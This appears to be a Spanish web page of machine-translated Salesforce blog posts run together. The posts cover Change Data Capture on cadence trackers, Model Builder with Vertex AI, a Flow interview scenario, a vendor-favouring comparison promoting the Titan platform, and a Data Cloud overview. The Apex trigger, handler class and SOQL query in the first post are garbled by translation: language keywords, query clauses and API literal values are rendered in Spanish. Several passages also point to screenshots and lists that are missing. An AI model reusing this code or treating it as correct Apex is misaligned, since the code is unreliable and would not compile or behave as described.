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👉 Anteriormente, escribí un artículo sobre Sales Engagement. ¿Por qué no echarles un vistazo mientras lo haces?
A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea específica. Siempre que un vendedor por teléfono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participación de ventas, asegúrese de la creación automática de una tarea con estos detalles:
La adquisición de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, están listos para emprender actividades de divulgación. ¡Pero espera! Demos un paso atrás y reflexionemos sobre las siguientes preguntas como preámbulo para comprender la cadencia de ventas: (1) ¿Con qué frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) ¿Cómo le gustaría que se comunicaran con el cliente potencial, mediante llamada o correo electrónico? (2) ¿Cómo desea capturar la disposición de las llamadas? (3) etcétera.
La cadencia de participación de ventas es una línea de tiempo de las actividades y métodos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El propósito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluiría una lista de las cosas que hace para programar la primera reunión.
Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electrónico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinación de las tres formas de comunicación mencionadas.
Una cadencia de participación de ventas se parece a esto:
En otras palabras, las cadencias de participación de ventas difieren de un tipo de proceso de ventas a otro, pero la idea básica sigue siendo la misma: toques consistentes y secuenciales.
La captura de datos modificados (CDC) es una técnica utilizada en bases de datos y sistemas de procesamiento de datos para identificar y capturar los cambios realizados en los datos. El objetivo principal de CDC es garantizar que los cambios en los datos de origen (como inserciones, actualizaciones y eliminaciones) puedan detectarse y procesarse fácilmente en sistemas posteriores.
La captura de datos de cambios (CDC) en Salesforce es una función que le permite realizar un seguimiento y capturar los cambios realizados en los datos de Salesforce. Proporciona una manera de capturar y entregar cambios en los datos, tanto en tiempo real como de manera histórica, lo que facilita la sincronización de datos entre sistemas y mantiene una copia actualizada de los datos de Salesforce en almacenes de datos externos. Aquí hay un desglose de de qué se trata la captura de datos modificados en Salesforce:
data/ObjectNameChangeEvent , donde ObjectName es el nombre del objeto de Salesforce, como Account o Contact .Los administradores pueden habilitar la captura de datos modificados para objetos específicos en Salesforce a través del menú de configuración. Una vez habilitados, los cambios en esos objetos comenzarán a generar eventos de cambio.
Change Data Capture en Salesforce proporciona una manera poderosa de mantener los sistemas externos sincronizados con los datos de Salesforce sin la necesidad de una lógica de integración compleja o sondeos frecuentes. Es especialmente útil para análisis en tiempo real, sistemas de respaldo y otras aplicaciones que requieren datos actualizados de Salesforce.
Antes de profundizar en la solución funcional real, permítame guiarlo a través de algunas soluciones potenciales que pueden parecer las rutas más fáciles y rápidas a primera vista. Sin embargo, existen razones específicas por las que estas soluciones no serán viables.
Si tiene experiencia en la gestión de clientes potenciales y cadencias de participación de ventas, es posible que haya notado que Salesforce almacena ActionCadenceId (el ID de la cadencia asignada al cliente potencial) en el registro del cliente potencial. En particular, Salesforce establece ActionCadenceId en nulo cuando un cliente potencial se elimina/completa manualmente de la cadencia de participación de ventas.
Es posible que esté contemplando la idea de implementar un flujo posterior al guardado activado por registro (no conozco el flujo posterior al guardado, consulte este artículo) en el objeto principal y aplicando las siguientes condiciones:
Sin embargo, encontrará un obstáculo al intentar guardar el flujo. Resultaría en un mensaje de error que indica:
Sí (resultado de la decisión): el campo $Record.ActionCadenceId contiene un valor derivado que no se admite. En un flujo programado o activado por registro, $Record no admite algunos campos estándar cuyos valores se derivan. Elimine el campo $Record.ActionCadenceId.
Ahora comprende por qué no podemos utilizar este enfoque para abordar el caso de uso empresarial mencionado anteriormente.
Nota : Los campos Cadencia y Cadencia asignado en registros de clientes potenciales, contactos y cuentas personales no se pueden utilizar como criterios de campo en reglas de flujo de trabajo, flujos y Generador de procesos.
Inicialmente, esta solución puede parecer una opción más prometedora que la anterior, y quizás se pregunte por qué no se consideró antes. Desafortunadamente, Salesforce impone restricciones, lo que impide el uso de flujos activados por registros y activadores de Apex en este tipo de SObject en particular ( ActionCadenceTracker ).
Lamentablemente, esto marca el final de esta solución.
La tercera opción es crear un flujo activado por programación para el objeto ActionCadenceTracker , lo cual ciertamente es factible. Sin embargo, es fundamental tener en cuenta que esta solución no es en tiempo real. 
Puede configurar el flujo activado por programación para que se ejecute a intervalos , como cada minuto o cada hora, pero tiene sus limitaciones. Recomiendo encarecidamente considerar la escalabilidad al optar por esta solución.
Si bien este enfoque puede ser adecuado para ciertos escenarios, no sirve como una solución viable para el caso de uso empresarial específico mencionado, que requiere notificaciones en tiempo real.
La pregunta ahora es: ¿Cuál es la mejor solución para el caso de uso empresarial mencionado anteriormente? Empecemos.
La mejor solución para el caso de uso empresarial determinado es utilizar Change Data Capture (CDC) en el objeto ActionCadenceTrackerChangeEvent . Si no está familiarizado con Change Data Capture (CDC), le recomiendo encarecidamente hacer una pausa aquí y completar este módulo de Trailhead.
Antes de continuar, debes familiarizarte con el objeto ActionCadenceTracker en Salesforce. Representa un objetivo de cadencia activa.
Se crea un registro ActionCadenceTracker cuando agrega un objetivo a una cadencia. Utilice ActionCadenceTracker para obtener información sobre un objetivo de cadencia de carrera, incluido su estado, paso actual, cliente potencial asignado y motivo de finalización.
| Nombre del campo | Detalles |
| Razón de finalización | El motivo por el que el objetivo completó la cadencia. Este campo contiene un valor si el estado del objetivo es Completo. Los valores posibles son:
|
| Estado | El estado del rastreador de cadencia de acción actual. Los valores posibles son:
|
| ID de destino | El ID del objetivo (Contacto, Cliente potencial) que está asignado a esta cadencia de acción. |
Comencemos a construir este proceso de automatización.
Hay tres pasos para resolver los requisitos comerciales de Benjamin utilizando Change Data Capture (CDC), un Apex Trigger y un flujo de inicio automático . Debemos:
Al final, Benjamin's Flow se verá como la siguiente captura de pantalla:
Una vez que todo se vea bien, realice los pasos a continuación:
¡Casi llegamos! Una vez que todo se vea bien, haga clic en el botón Activar .
Tiene la opción de recibir notificaciones de cambios en la plataforma Lightning suscribiéndose para cambiar eventos a través de activadores de Apex. Si bien los activadores de Apex para eventos de cambio comparten similitudes con los de los objetos estándar de Salesforce, también existen distinciones notables. Al igual que los activadores de Apex tradicionales para objetos de Salesforce, usted crea un activador de evento de cambio para el evento de cambio específico asociado con el objeto de Salesforce. Vale la pena señalar que en este contexto solo se admiten activadores posteriores a la inserción.
El desencadenador de evento de cambio se activa cuando se recibe uno o un lote de eventos de cambio. A diferencia de los activadores de objetos, los activadores de eventos de cambio se ejecutan de forma asincrónica una vez completada la transacción de la base de datos. La ejecución asincrónica hace que los desencadenadores de eventos de cambio sean ideales para procesar la lógica empresarial que consume muchos recursos y al mismo tiempo mantener la lógica basada en transacciones en el desencadenador de objetos. Al desacoplar el procesamiento de cambios, los desencadenantes de eventos de cambio pueden ayudar a reducir el tiempo de procesamiento de las transacciones.
Los desencadenantes de eventos de cambio tienen estas características.
desencadenar ActionCadenceTrackerAsyncTrigger en ActionCadenceTrackerChangeEvent (después de insertar) { ActionCadenceTrackerAsyncTriggerHandler.handleChangeEvent(Trigger.new);
}
clase pública ActionCadenceTrackerAsyncTriggerHandler { handleChangeEvent vacío estático público (List<ActionCadenceTrackerChangeEvent> changeEvents) { Set<Id> actionCadenceTrackerIds = nuevo Set<Id>(); for(evento ActionCadenceTrackerChangeEvent: eventos de cambio) { encabezado EventBus.ChangeEventHeader = evento.ChangeEventHeader; if (header.changetype == 'ACTUALIZAR' && event.CompletionReason == 'Manualmente eliminado') { Lista<Id> recordIds = header.getRecordIds(); actionCadenceTrackerIds.addAll(recordIds); } } if(!actionCadenceTrackerIds.isEmpty()) { encontrarRelatedLeads(actionCadenceTrackerIds); } } findRelatedLeads vacío estático privado (Set<Id> actionCadenceTrackerIds) { Lista<Lead> AssociatedLeads = [Seleccione ID, OwnerId de plomo donde Id IN (SELECCIONAR targetId DESDE ActionCadenceTracker DÓNDE ID EN: actionCadenceTrackerIds AND Target.Type = 'Cliente')]; if(!asociadosLeads.isEmpty()) { runFlow (líderes asociados); } } runFlow vacío estático privado (List<Lead> leads) { Mapa<Cadena, Objeto> params = nuevo Mapa<Cadena, Objeto>(); params.put('varR_Leads', clientes potenciales); Flow.Interview.CadenceTracker myFlow = nuevo Flow.Interview.CadenceTracker(params); miFlow.start(); }
}
De ahora en adelante, si un usuario elimina un cliente potencial de la cadencia de participación de ventas, Change Data Capture (CDC) publicará un evento. Más adelante, un activador de Apex y un flujo crearán una tarea para el propietario principal.
¡Quiero saber de ti!
¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Model Builder, parte de Einstein Copilot Studio, es una plataforma fácil de usar que le permite crear y poner en funcionamiento modelos de IA en Salesforce. Model Builder es capaz de integrarse profundamente con plataformas de IA externas, como Google Cloud Vertex AI y Amazon SageMaker, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos de Salesforce Data Cloud.
Salesforce anunció previamente el lanzamiento de Model Builder con Amazon SageMaker en agosto de 2023. Hoy, nos complace anunciar que los modelos de Google Vertex AI ahora están disponibles de forma general en Model Builder. Como parte de esta última versión, Model Builder ahora admite la autenticación mediante las credenciales de la cuenta del servicio de Google, así como la ingestión de datos en streaming.
Estamos entusiasmados con esta nueva innovación de la asociación ampliada de Salesforce con Google Cloud, que consideramos que tiene un enorme potencial para los desarrolladores. Como enfatizó Kaushal Kurapati, vicepresidente senior de Producto, IA y Búsqueda de Salesforce:
“Con esta asociación con Google Cloud, Model Builder ofrece una manera conveniente para que los clientes aprovechen sus modelos Vertex AI en sus fuentes de datos, flujos de trabajo y aplicaciones de Salesforce y brinden experiencias personalizadas, continuando con la visión de construir una plataforma abierta de Salesforce AI con un ecosistema modelo robusto”.
Model Builder le permite conectarse fácilmente a modelos predictivos externos, como los de un proveedor de modelos externo o su propio modelo propietario, y utilizarlos en el flujo de trabajo en Salesforce. Por ejemplo, puede utilizar modelos predictivos para calificar clientes potenciales, recomendar productos o detectar la deserción.
La capacidad BYOM de Model Builder le permite integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real, y utilizar esa información de varias maneras, como enriquecer perfiles de clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales.
Estos son algunos de los beneficios de usar un modelo de Google Cloud Vertex AI con datos de Data Cloud en Model Builder:
Para obtener más información, mire nuestro breve vídeo .
En esta sección, analizamos brevemente el flujo de trabajo de la aplicación utilizando Model Builder.
En el flujo de trabajo que se muestra arriba, el conector Python brinda a Vertex AI acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar datos, y realizar tareas de ingeniería de características para el desarrollo y la inferencia de modelos de IA utilizando la plataforma Vertex AI.
Tenga en cuenta que si se realiza una autenticación basada en clave API, se necesita una puerta de enlace API delante del punto final de Vertex AI.
La versión más reciente de Model Builder ahora permite utilizar las credenciales de la cuenta del servicio de Google para la autenticación. Esto se suma a los métodos de autenticación JWT y basados en claves existentes. Para utilizar un flujo de token al portador JWT, ingrese su correo electrónico de la cuenta de servicio, ID de clave privada y clave privada de su cuenta de Google Cloud como se muestra a continuación.
La última versión de Model Builder le permite activar automáticamente una inferencia cuando los datos asignados a la variable de entrada del modelo se cambian en el objeto del modelo de datos de origen (DMO). También ofrecemos inferencia por lotes, pero debe hacer clic en el botón Actualizar manualmente para activar nuevas inferencias. Con la inferencia de transmisión, las nuevas inferencias se activan solo cuando hay un cambio en la variable de entrada.
Para habilitar la inferencia de transmisión, deberá marcar la casilla Sí en ¿Actualizar modelo cuando se actualizan los datos? Como se muestra abajo.
También puede especificar cuáles de las funciones de entrada deben actualizarse seleccionando Sí en el menú desplegable Actualizar puntuación .
Hay dos formas de consumir predicciones: usar acciones invocables en Flow y Apex, o usar Query API para realizar análisis ad hoc.
A continuación se muestra un ejemplo de cómo utilizar acciones invocables para modelos de Model Builder en Flow. Una vez que tenga un modelo activado en Model Builder, seleccione Nueva acción → Nube de datos y luego haga clic en el nombre del modelo deseado.
La captura de pantalla siguiente muestra un flujo de ejemplo que utiliza una acción invocable para crear recomendaciones de productos para un cliente. Aquí, un administrador usa Flow Builder para recorrer los registros individuales unificados y verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Model Builder y recomienda el siguiente mejor producto a un cliente.
Esta acción invocable también se puede invocar en Apex. Vea el ejemplo a continuación.
<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('param_variable_1', '10');
action.setInvocationParameter('param_variable_2', '20');
action.setInvocationParameter('param_variable_3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>
Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .
Query API es otra forma rápida de obtener puntuaciones de predicción para datos que residen en Data Cloud. Con Query API, puede utilizar el punto final de inferencia y llamar a funciones de predicción para probar el punto final. Vea el ejemplo a continuación.
Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .
Model Builder es una plataforma de IA fácil de usar que permite a los equipos de ingeniería y ciencia de datos crear, entrenar e implementar modelos de IA utilizando plataformas y datos externos en Data Cloud. Las plataformas externas incluyen Google Cloud Vertex AI, Amazon SageMaker y otros servicios de IA predictivos o generativos. Una vez que esté listo, podrá utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras aplicaciones en Salesforce.
Para obtener más información sobre cómo puede mejorar su estrategia de IA utilizando Model Builder, asista a nuestro seminario web gratuito con expertos en IA de Salesforce y Google Cloud.
Daryl Martis es el director de producto de Salesforce de Einstein. Tiene más de 10 años de experiencia en planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas AI/ML y soluciones en la nube. Síguelo en LinkedIn o Twitter .
Ashish Thapliyal es director sénior de producto en Salesforce y actualmente dirige varias áreas de productos de la plataforma Einstein AI. Síguelo en LinkedIn o Twitter .
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Escenario de activación de registro 2
Su organización administra cuentas, contactos y oportunidades para operaciones de ventas. Desea automatizar el proceso de notificación al propietario de la cuenta cuando el campo personalizado 'Cambio de estado' de un contacto cambia a 'Inactivo'. Además, desea actualizar la 'Etapa de oportunidad' de todas las oportunidades relacionadas a 'En espera' cuando cambie el estado de este contacto. Explique cómo diseñaría un Flujo para lograr esto.
Respuesta
Centrémonos en el patrón para resolver este escenario de modo que podamos resolver preguntas de flujo de manera efectiva.
1. Comprenda el requisito:
– Punto de activación: cuando el 'Cambio de estado' de un contacto cambia a 'Inactivo'.
– Resultado: Automatizar la notificación al propietario de la cuenta y actualizar las etapas de la oportunidad.
2. Desglosarlo:
– Recuperación de datos: Identificar la Cuenta del Contacto y las Oportunidades relacionadas.
– Notificaciones: envía una notificación al propietario de la cuenta.
– Actualización: actualice las etapas de la oportunidad según el cambio de estado del contacto.
3. Visualice el flujo:
– Secuencia:
– Iniciar el flujo cuando el 'Estado' de un contacto cambie a 'Inactivo'.
– Recuperar la cuenta del contacto y las oportunidades relacionadas.
– Enviar una notificación al propietario de la cuenta.
– Actualizar la 'Etapa de Oportunidad' en Oportunidades relacionadas.
4. Diseñe el flujo:
– Elementos:
– “Registrar flujo activado” para iniciar el cambio de estado de flujo en contacto. Seleccionaremos cuándo se actualiza el registro, ya que el flujo debe ejecutarse cuando el campo 'cambio de estado' del contacto se cambia a inactivo.
– El “Elemento de decisión” comprueba si el campo de estado del caso está activo o no
– Elemento “Obtener registros” para recuperar la cuenta del contacto. Para este filtro se debe buscar la cuenta que tenga el mismo ID que el ID de cuenta del contacto.
– Enviar notificación por correo electrónico al propietario de la cuenta.
—
Escribe el correo electrónico. A la hora de redactar el contenido de tu correo electrónico, tienes tres opciones disponibles:
Opción 1: a partir del lanzamiento Summer '23 de Salesforce, puede utilizar plantillas de correo electrónico con la acción Enviar correo electrónico. Puede hacer esto activando el ID de plantilla de correo electrónico e ingresando el ID de la plantilla de correo electrónico que desea usar. Para encontrar esta ID, navegue hasta su plantilla de correo electrónico desde las Plantillas de correo electrónico Lightning en sus aplicaciones o la página Plantilla de correo electrónico clásica en la configuración. Luego copie la cadena de 15 caracteres de la URL y péguela en su flujo como ID de plantilla de correo electrónico.
Opción 2: almacena el cuerpo de tu correo electrónico en una plantilla de texto . Para hacer esto, active el interruptor Cuerpo . A continuación, seleccione Nuevo recurso en el menú y elija Plantilla de texto . Asigne a la plantilla un nombre API y escriba el cuerpo de su correo electrónico . Puede ingresar recursos personalizados desde el menú encima del cuadro de texto. De esta manera, puedes incluir tanto texto estático como información personalizada para el cliente potencial. Una vez que su plantilla esté completa, haga clic en Listo . 
A continuación, active Cuerpo con formato de texto enriquecido. En el menú desplegable, seleccione {!$GlobalConstant.True}. Esto garantiza que el formato de nuestro correo electrónico siga siendo consistente.
Por último, cambie el valor de Asunto a Activado y escriba su asunto en el cuadro. Puede omitir este paso si está utilizando una ID de plantilla de correo electrónico.
– Elemento “Actualizar Registros” para actualizar Etapas de Oportunidad.
5. Escenario de prueba:
– Cambie el 'Cambio de estado' de un contacto a 'Inactivo' y verifique que el flujo notifique correctamente al propietario de la cuenta y actualice las Etapas de la oportunidad a 'En espera'.
Producción
Temas cubiertos en la entrevista de Salesforce Service Cloud: Conocimientos generales y características Gestión de casos Soluciones y base de conocimientos Consola de servicio Portales/comunidades de clientes y agentes Flujo de trabajo y automatización: Informes y paneles en Service Cloud Integración de CTI y telefonía Servicio al cliente en redes sociales Chat y mensajería Integración […]
Última actualización el 22 de septiembre de 2023 por Rakesh Gupta
¿Cuáles son las mejores alternativas a Experience Cloud del mercado? ¿Y es posible encontrar una herramienta sin código que le permita crear portales y aplicaciones totalmente personalizables?
Después de leer este blog, tendrás:
El director de ventas Eric Brown se acercó a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo están muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar nóminas y cuidar el bienestar de los empleados. ¡Asegurarse de que todo el papeleo y la administración estén actualizados es una pérdida de hasta 12 horas cada semana! Está empezando a ser abrumador.
La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificación ni conocimientos técnicos especiales para su implementación. Saben que Salesforce Experience Cloud es una posible solución, pero también les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, ¿cuáles son las alternativas de Experience Cloud ?
Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en línea de marca. A lo largo de los años, Salesforce Experience Cloud evolucionó con actualizaciones y mejoras. Hoy en día, sirve como una solución integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.
La creación de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presión de su departamento de recursos humanos. Un portal de autoservicio o una aplicación web creada con Experience Cloud proporciona a los empleados acceso directo a su información personal y profesional, lo que facilita la actualización de información y registros en cualquier momento o lugar.
Echemos un vistazo más de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organización.
Ejemplo de plantillas de Salesforce Experience Cloud a continuación. Crédito: https://www.salesforce.com/products/experience-cloud/features/templates/
Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opción le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, así como sus inconvenientes:
El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sueños sin barreras, restricciones ni compromisos. Pero este método no está exento de desventajas. Vea a continuación algunos de los principales puntos débiles:
Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho más. Y es una de las mejores alternativas a Experience Cloud del mercado.
Titan es una plataforma sin código con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: ¿cómo se compara Titan con Experience Cloud? ¿Tiene también ventaja sobre el desarrollo personalizado? A continuación, detallamos cómo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:
El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola línea de código. Sin concesiones ni agendas ocultas para que pueda acelerar su comercialización.
Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, ¿cuál es el resultado final y quién sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuación para descubrirlo:
| Experiencia en la nube | Desarrollo a la medida | Plataforma Titán | |
| Costo | Medio | Muy caro | Medio |
| Hora de comprar | Corto | Largo | Muy corto |
| Esfuerzo de mantenimiento prolongado | Bajo | Muy alto | Bajo |
| Recursos necesarios para el proyecto | Administrador de SF | Desarrolladores | Administrador de SF |
| Flexibilidad de diseño | Muy poco | Lleno | Lleno |
| Experiencia de usuario | Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario | Puedes desarrollar cualquier cosa que puedas soñar. | Casi todo lo que puedas soñar |
| Marca | Sí con temas personalizados | Sí | Sí con temas personalizados |
| Integración de Salesforce | Sí | Requiere desarrollo por integración. | Sí |
| Integraciones de terceros | Requiere complementos pagos o desarrollo | Requiere complementos pagos o desarrollo | Sí |
| Validaciones de datos en tiempo real | No | Sí | Sí |
| Flujo de trabajo y automatización | Sí | No | Sí |
| Móvil | Listo para dispositivos móviles | Diseño completamente dinámico por dispositivo | Diseño completamente dinámico por dispositivo |
| Conocimiento de Salesforce | Compatible | Requiere desarrollo | Compatible |
| Compromiso digital de Salesforce | Compatible | Requiere desarrollo | Compatible |
Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sueños. Pero está claro que si está buscando una herramienta web sin código, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opción.
Quizás recuerde que anteriormente en este artículo una empresa estaba buscando una solución flexible y sin código para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:
Consulte este portal de recursos humanos sin código donde los empleados pueden iniciar sesión y realizar diversas acciones de autoservicio:
Salesforce Experience Cloud es una solución conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun así, no está exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opción real para diferenciar entre la experiencia de escritorio y móvil, y dificultad para integrarse con herramientas fuera de Salesforce, ¡por nombrar solo algunas!
Utilizar el desarrollo personalizado para crear su propia aplicación o portal personalizado resolverá la mayoría de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicación que puedas soñar y obtener diseños dinámicos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos débiles de Experience Cloud, esta solución presenta sus propios desafíos, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercialización más lenta.
Titan gana a lo grande al brindarle lo mejor de ambos mundos: obtiene software de arrastrar y soltar combinado con la libertad y flexibilidad que brinda el desarrollo personalizado. Si está buscando la alternativa líder a Experience Cloud y le gustó lo que leyó, ¡póngase en contacto hoy!
¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.
Última actualización el 2 de octubre de 2023 por Rakesh Gupta
Los datos no son sólo un buen extra; es esencial. Especialmente ahora, cuando las empresas operan en gran medida en espacios digitales, la necesidad de un buen uso de los datos es clara. El papel del análisis de datos se ha vuelto crucial para impulsar el éxito de una empresa. Es importante que los líderes de las empresas tengan un plan de datos sólido, uno que permita que sus negocios avancen rápidamente y enfrenten desafíos difíciles.
Los equipos se benefician enormemente de un análisis de datos sólido. Pueden tomar decisiones inteligentes más rápido que antes y también con mayor precisión. Este tipo de uso de datos también ayuda a los equipos a trabajar mejor juntos al eliminar cosas que obstaculizan un buen trabajo en equipo. Los líderes de TI tienen un papel especial aquí. Tienen las habilidades para hacer que los datos sean útiles de nuevas maneras, transformando el trabajo de los equipos y mejorando la experiencia de los clientes.
Salesforce Data Cloud está diseñada para cambiar la forma en que las empresas interactúan con los clientes. Es bueno para recopilar datos de diferentes lugares. Estos datos van a una gran área de almacenamiento llamada lago de datos. Luego utiliza un análisis preciso para explicar lo que significan los datos.
Salesforce Data Cloud ayuda a vincular varias fuentes y nubes más rápidamente en toda la plataforma. Sin embargo, Data Cloud también es un artículo que se puede pedir. Aunque no todos los clientes de Salesforce han comprado Data Cloud, aunque se encuentran en el punto de partida, todavía utilizan Data Cloud hasta cierto nivel. Sin embargo, todo esto se fortalece cuando se utiliza la Nube de Datos como plataforma de personalización y unificación de datos.
Imagínese cómo el volumen de datos crece rápidamente cuando piensa en la cantidad de clics que hace cada cliente. Puede realizar un seguimiento de dichos datos de participación a medida que ocurren, por ejemplo, cuando los usuarios abren y hacen clic en correos electrónicos, exploran páginas en sus aplicaciones móviles y miran artículos en su tienda en línea. Es mucho más probable que las personas hagan clic cuando les envías un correo electrónico o una oferta que les resulta útil. Puede capturar la interacción cuando un consumidor hace clic en Data Cloud. Cuando sepa qué les interesa y si es probable que compren algo o no, podrá aprovechar esta información a su favor.
Para cada sector o puesto, la Nube de Datos puede generar experiencias y oportunidades de negocio potentes.
Para analizar cuentas integradas y adquirir información rápida y fácilmente sobre sus clientes y los efectos comerciales, los analistas pueden conectar Data Cloud a Tableau o QlikView . Cuando una empresa puede identificar a sus consumidores en función de la cantidad y el tema de sus tickets de soporte, puede desarrollar y llevar a cabo un plan para reducir esos tickets. Verifique los datos nuevamente para asegurarse de que el plan haya tenido éxito.
Los desarrolladores pueden crear software utilizando datos de Data Cloud, como un sistema de puntuación de salud que mide la puntuación de salud de un paciente utilizando objetos e información prediseñados. Cuando una actividad de datos inicia un flujo para enviar notificaciones a los médicos cuando una puntuación cae por debajo de un nivel específico, esa puntuación y su uso se convierten en una experiencia que salva vidas.
Según la probabilidad de conversión de un cliente, los vendedores pueden obtener información sobre sus clientes potenciales y sus ventas potenciales. Según los hábitos de navegación de los usuarios y los niveles actuales de oferta de productos, la gestión del comercio electrónico puede utilizar datos para personalizar su sitio web.
En pocas palabras, Data Cloud permite a los administradores de Salesforce realizar una variedad de acciones, que incluyen, entre otras:
Se puede utilizar una estructura similar a un lago de datos para describir Salesforce Data Cloud. Como ejemplo, recopilando todos los datos de la plataforma Salesforce. Sin embargo, también es capaz de importar datos de otras fuentes externas, como lagos de datos.
Perspectiva :
Un lago de datos es una ubicación concentrada para almacenar datos no procesados. Las empresas utilizan este sistema de almacenamiento enorme, adaptable y asequible para recopilar y guardar grandes cantidades de datos organizados, no estructurados y semiestructurados en su formato original. Las publicaciones en redes sociales, los registros de sensores y los datos de ubicación son solo algunos ejemplos de los datos no estructurados que recopilan los lagos de datos.
Lo que indica para los usuarios : las marcas son más capaces de predecir los requisitos y necesidades de los consumidores debido a la gran cantidad de información accesible en un lago de datos.
Cómo afecta a los equipos : Los equipos pueden acceder a enormes cantidades de datos en una ubicación, lo que les permite moverse más rápidamente y mantenerse al día con (o superar) a los oponentes.
Revise esta lista de verificación sugerida antes de comenzar a utilizar Data Cloud. Confirme que su equipo esté configurado antes de implementar Data Cloud, verifique estos puntos:
Salesforce Data Cloud es costoso. Es una inversión que requiere una planificación meticulosa porque comienza en $10 mil por organización, mensualmente. De manera realista, dependiendo de los valores de sus datos, es posible que su empresa ya necesite gastar más en Data Cloud. Como tus datos crecen constantemente, es importante tenerlo presente todo el tiempo, pero…
… En el último evento de Dreamforce, Salesforce anunció que las licencias gratuitas de Data Cloud ya están disponibles. Los clientes que tengan Enterprise Edition o superior ahora pueden acceder a Data Cloud sin costo alguno. En esta oferta se incluyen dos licencias de Tableau Creator, que permiten a las empresas conectar hasta 10 000 perfiles de clientes y comenzar sus exploraciones.
Los datos son más cruciales que nunca y supervisar el flujo de datos en constante crecimiento es un trabajo increíble. Sin embargo, los datos tienen una enorme influencia. El potencial de obtener conocimientos empresariales que puedan fundamentar decisiones y producir experiencias sorprendentes para los clientes crece a medida que aumenta el acceso a los datos y la alfabetización sobre datos para las personas de toda su empresa. La IA y el CRM se pueden utilizar para impulsar actividades inteligentes y proporcionar servicios personalizados a escala cuando se combinan con datos procesables en tiempo real.
Ahora, con Data Cloud y Einstein AI nativos en la plataforma Einstein 1, las empresas pueden crear fácilmente aplicaciones y flujos de trabajo impulsados por AI que potencian la productividad, reducen costos y brindan increíbles experiencias a los clientes. – Parker Harris, cofundador y director de tecnología, Salesforce
Los datos del cliente, el contenido empresarial, los datos de telemetría, los chats de Slack, los datos parcialmente estructurados y otros datos estructurados y no estructurados se fusionan y conectan mediante Data Cloud, la plataforma de datos a hiperescala de Salesforce que funciona en tiempo real, para generar un perfil único del cliente. La plataforma ya vincula e integra 100 mil millones de registros diariamente y procesa 30 billones de transacciones mensuales.
